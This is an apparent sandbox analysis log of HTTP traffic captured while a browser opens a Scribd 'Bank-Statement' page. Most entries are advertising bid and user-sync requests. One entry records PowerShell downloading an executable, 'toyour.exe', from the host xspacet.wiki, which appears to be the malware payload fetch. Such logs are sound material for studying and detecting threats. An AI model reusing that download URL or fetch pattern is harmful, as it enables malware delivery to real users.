Source: global traffic	HTTP traffic detected: POST /hb/bid-request HTTP/1.1Host: a.teads.tvConnection: keep-aliveContent-Length: 1764sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1650sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /bidRequest HTTP/1.1Host: c2shb.pubgw.yahoo.comConnection: keep-aliveContent-Length: 1650sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: application/jsonx-openrtb-version: 2.5sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /g/v2/882.json HTTP/1.1Host: id5-sync.comConnection: keep-aliveContent-Length: 500sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pv?tid=ovOwWALge-wxNijYOo-9517edac5c&w=6212136826568704&o=5714937848528896&cv=2.1.75-1-gb0a1279&widget=false&checksum=1639592c&r=false&vr=1232x910&pageURL=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&sid=gnf6relSBV-LQbi5jGB-9517edac5c&pm=false&upapi=true HTTP/1.1Host: api.btloader.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=8gkxb6n&ttd_tpi=1&ttd_puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1739863205766&did=did-0047&se=e30&duid=4b59e25de34b--01jmbyv9c0rf4g5m4sqh1c9y52&tv=9.23.0&pu=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&wpn=prebid&cd=.scribd.com&n3pc=true HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"content-type: text/plainx-li-provided-user-agent: undefinedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /script/rlink.js?o=5714937848528896&bt_env=prod HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.scribd.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=freestar&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunrulyfsx%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D&gdpr=&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/p/474 HTTP/1.1Host: p.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fpbm_match%3Fpbm%3D%23PM_USER_ID%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/halo_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&halo_id=060kjdbdlj8lj2g5b9cicheebh6hkja9l96ywkgk0w40wsqyg6iuismmgs0sywe60 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=998eaf06-9905-4eae-9e26-9fac75960c53&r=https%3A%2F%2Fids.ad.gt%2Fapi%2Fv1%2Fopenx%3Fopenx_id%3D%7BOPENX_ID%7D%26id%3DAU1D-0100-001739863208-59L27RBO-LEXM%26auid%3DAU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stein/toyour.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: xspacet.wikiConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /getuid?https://ids.ad.gt/api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=$UID&gdpr=0 HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /cdn/prod/config?src=600&u=https%3A%2F%2Fwww.scribd.com&pubid=0ab198dd-b265-462a-ae36-74e163ad6159 HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/ip_match?id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids4.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=b355ce4f-581b-4a1c-8c84-81fe81e4bc39&r=https%3A%2F%2Fcs.ingage.tech%2Fwdc%2Fv1%2Fsync%2Fopenx%2F65023955-4816-4674-89c6-bc6e7f69d9a0%3Fuid%3D HTTP/1.1Host: u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /w/1.0/pd?us_privacy=1-N- HTTP/1.1Host: freestar-d.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /token?pid=50242&puid=AU1D-0100-001739863208-59L27RBO-LEXM&gdpr=0 HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?endpoint=us-east&p=insticator HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=insticator&us_privacy=1-N-&gdpr=0 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=insticator HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.html?us_privacy=1-N- HTTP/1.1Host: eus.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /um/ixmatch.html HTTP/1.1Host: js-sec.indexww.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /dmp/async_usersync.html HTTP/1.1Host: acdn.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /js/usersync.html?ccpa=1-N- HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: OPTIONS /v1.0/parent/4d97a662ad/engagement/trigger/auction_end HTTP/1.1Host: pb-ing.ccgateway.netConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://www.scribd.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1-N-& HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /pbcas?us_privacy=1-N-&gdpr=0&gdpr_consent=&type=iframe HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /ut/v3/prebid HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveContent-Length: 1222sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: POST /v1/openrtb HTTP/1.1Host: ex.ingage.techConnection: keep-aliveContent-Length: 1652sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/jsonAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ
